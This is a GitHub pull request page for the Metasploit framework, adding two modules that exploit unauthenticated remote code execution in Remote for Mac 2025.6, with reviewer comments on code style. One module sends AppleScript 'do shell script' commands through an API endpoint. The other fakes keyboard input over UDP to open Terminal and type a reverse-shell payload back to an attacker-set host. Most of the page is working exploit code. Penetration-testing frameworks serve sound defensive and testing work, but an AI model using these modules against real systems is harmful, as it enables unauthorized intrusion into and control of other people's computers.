-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
1860c16
38f0178
cf3e176
287766c
43ee255
0d2f9e3
7012ab2
82c2724
3f6f4d2
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I don't think this has to be here. |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,123 @@ | ||
## | ||
# Exploit Title: Remote for Mac 2025.6 - Unauthenticated RCE MSF Module | ||
# Date: May 2025 | ||
# Exploit Author: Chokri Hammedi (@chokri0x00) | ||
# Vendor Homepage: https://www.cherpake.com/ | ||
# Software Link: https://cherpake.com/latest.php?os=mac | ||
# Exploit Source: https://packetstormsecurity.com/files/195347/ | ||
# Version: Remote for Mac 2025.6 | ||
# Tested on: macOS Mojave, macOS Ventura | ||
## | ||
|
||
require 'json' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Remote for Mac 2025.6 - Unauthenticated RCE', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated remote code execution vulnerability in | ||
Remote for Mac 2025.6 via the /api/executeScript endpoint. When authentication is | ||
disabled on the target system, it allows attackers to execute arbitrary AppleScript | ||
commands, which can include shell commands via `do shell script`. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Chokri Hammedi (@blue0x1)'], | ||
'References' => [ | ||
['URL', 'https://packetstorm.news/files/id/195347/'] | ||
], | ||
'DisclosureDate' => '2025-05-27', | ||
'CVE' => 'Pending', | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Targets' => [['Auto', {}]], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'RPORT' => 49229, | ||
'SSL' => true | ||
}, | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE ], | ||
'Reliability' => [ REPEATABLE_SESSION ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
Opt::RHOST(), | ||
Opt::RPORT(49229), | ||
OptBool.new('SSL', [true, 'Enable SSL/TLS', true]), | ||
OptString.new('LHOST', [true, 'Local host to receive reverse shell']), | ||
OptInt.new('LPORT', [true, 'Local port to receive reverse shell', 4444]), | ||
OptBool.new('FORCE', [false, 'Force exploitation even if checks fail', false]) | ||
]) | ||
end | ||
|
||
def check | ||
return CheckCode::Unknown('Skipping version/auth checks (--force)') if datastore['FORCE'] | ||
|
||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), | ||
'method' => 'GET', | ||
'ssl' => datastore['SSL'] | ||
) | ||
|
||
return CheckCode::Unknown('No response from target') unless res && res.code == 200 | ||
|
||
begin | ||
info = JSON.parse(res.body) | ||
rescue JSON::ParserError | ||
return CheckCode::Unknown('Unable to parse JSON from /api/getVersion') | ||
end | ||
|
||
if info['requires.auth'] == true | ||
return CheckCode::Safe('Target requires authentication on /api/executeScript') | ||
end | ||
|
||
if info['version'] != '2025.6' | ||
return CheckCode::Safe("Target version is #{info['version']}, not vulnerable") | ||
end | ||
|
||
CheckCode::Appears | ||
end | ||
|
||
def exploit | ||
unless datastore['FORCE'] || check == CheckCode::Appears | ||
fail_with(Failure::NotVulnerable, 'Target does not appear vulnerable') | ||
end | ||
|
||
print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") | ||
cmd = payload.encoded | ||
escaped = cmd.gsub('\\', '\\\\\\').gsub('"', '\"') | ||
applescript = %(do shell script "#{escaped}") | ||
|
||
print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), | ||
'method' => 'GET', | ||
'ssl' => datastore['SSL'], | ||
'headers' => { | ||
'X-ClientToken' => '1337', | ||
'X-HostName' => 'iFruit', | ||
'X-HostFullModel' => 'iFruit19,2', | ||
'X-Script' => applescript, | ||
'X-ScriptName' => 'exploit', | ||
'X-ScriptDelay' => '0' | ||
Comment on lines
+108
to
+113
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Can any of these except |
||
} | ||
) | ||
|
||
if res && res.code == 200 | ||
print_good('Payload delivered successfully. Awaiting session...') | ||
else | ||
fail_with(Failure::Unknown, "Unexpected HTTP response: #{res ? res.code : 'no response'}") | ||
end | ||
end | ||
end |
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would you mind adding There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Also, can you add module documentation for this module - https://docs.metasploit.com/docs/using-metasploit/basics/module-documentation.html? |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,146 @@ | ||
require 'json' | ||
require 'socket' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6. | ||
When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets | ||
without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute | ||
arbitrary shell commands, achieving code execution as the current user. | ||
|
||
Tested on macOS Mojave and Ventura. | ||
}, | ||
'Author' => ['Chokri Hammedi'], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['URL', 'https://packetstorm.news/files/id/196351/'] | ||
], | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS] | ||
}, | ||
'Platform' => ['unix','osx'], | ||
'Arch' => ARCH_CMD, | ||
'Targets' => [['Remote for Mac 2025.6', {}]], | ||
'DefaultTarget' => 0, | ||
'DefaultPayload' => 'cmd/unix/reverse_bash', | ||
'DisclosureDate' => '2025-05-27' | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
Opt::RHOSTS(), | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Why is this empty? I don't think this has to be here. |
||
Opt::RPORT(49229), | ||
OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]), | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
|
||
OptString.new('TARGETURI', [true, 'Base URI path', '/']), | ||
] | ||
) | ||
end | ||
|
||
def check_auth_disabled? | ||
protocol = datastore['SSL'] ? 'https' : 'http' | ||
vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion") | ||
Comment on lines
+52
to
+53
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The |
||
|
||
begin | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'), | ||
'ctype' => 'application/json', | ||
'ssl' => datastore['SSL'], | ||
'rport' => datastore['RPORT'], | ||
'rhost' => datastore['RHOSTS'] | ||
Comment on lines
+60
to
+62
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I'm not sure if this should be here |
||
}) | ||
|
||
if res&.code == 200 | ||
json = JSON.parse(res.body) | ||
if json['requires.auth'] == false | ||
print_good('Authentication is disabled. Target is vulnerable.') | ||
return true | ||
else | ||
print_error('Authentication is enabled. Exploit aborted.') | ||
return false | ||
end | ||
else | ||
print_error('Unexpected response from target') | ||
return false | ||
end | ||
rescue ::Rex::ConnectionError, JSON::ParserError => e | ||
print_error("Connection or parsing error: #{e.message}") | ||
return false | ||
end | ||
Comment on lines
+66
to
+81
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Using |
||
end | ||
|
||
def exploit | ||
unless check_auth_disabled? | ||
fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable') | ||
end | ||
|
||
udp_port = datastore['RPORT'] | ||
target_ip = datastore['RHOSTS'] | ||
Comment on lines
+89
to
+90
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Are you sending the UDP request to the same host/port as for TCP HTTP request? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yes it’s the same port |
||
|
||
initial_packets_hex = [ | ||
'07000200370001', | ||
'07000200370001', | ||
'060003002000', | ||
'07000200370000', | ||
'07000200370000' | ||
] | ||
|
||
final_packets_hex = [ | ||
'07000200240001', | ||
'07000200240000' | ||
] | ||
|
||
udp_sock = UDPSocket.new | ||
udp_sock.connect(target_ip, udp_port) | ||
|
||
print_status('Simulating system keyboard input to open Terminal...') | ||
initial_packets_hex.each do |hexpkt| | ||
udp_sock.send([hexpkt].pack('H*'), 0) | ||
select(nil, nil, nil, 0.05) | ||
end | ||
|
||
prefix = [0x06, 0x00, 0x03, 0x00].pack('C*') | ||
'terminal'.each_char do |ch| | ||
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') | ||
udp_sock.send(pkt, 0) | ||
select(nil, nil, nil, 0.1) | ||
end | ||
|
||
final_packets_hex.each do |hexpkt| | ||
udp_sock.send([hexpkt].pack('H*'), 0) | ||
select(nil, nil, nil, 0.1) | ||
end | ||
Comment on lines
+105
to
+124
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. You can use |
||
|
||
sleep(2) | ||
|
||
shell_cmd = payload.encoded | ||
print_status('Sending malicious payload to be executed...') | ||
|
||
shell_cmd.each_char do |ch| | ||
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT') | ||
udp_sock.send(pkt, 0) | ||
select(nil, nil, nil, 0.1) | ||
end | ||
|
||
final_packets_hex.each do |hexpkt| | ||
udp_sock.send([hexpkt].pack('H*'), 0) | ||
select(nil, nil, nil, 0.1) | ||
end | ||
|
||
print_good('Payload sent. Awaiting session...') | ||
ensure | ||
udp_sock.close if udp_sock | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Isn't this file part of this PR? I don't think this should be here, unless you want to submit both modules together - in that case, the best approach would be to close the previous PR and add documentation to this PR as well.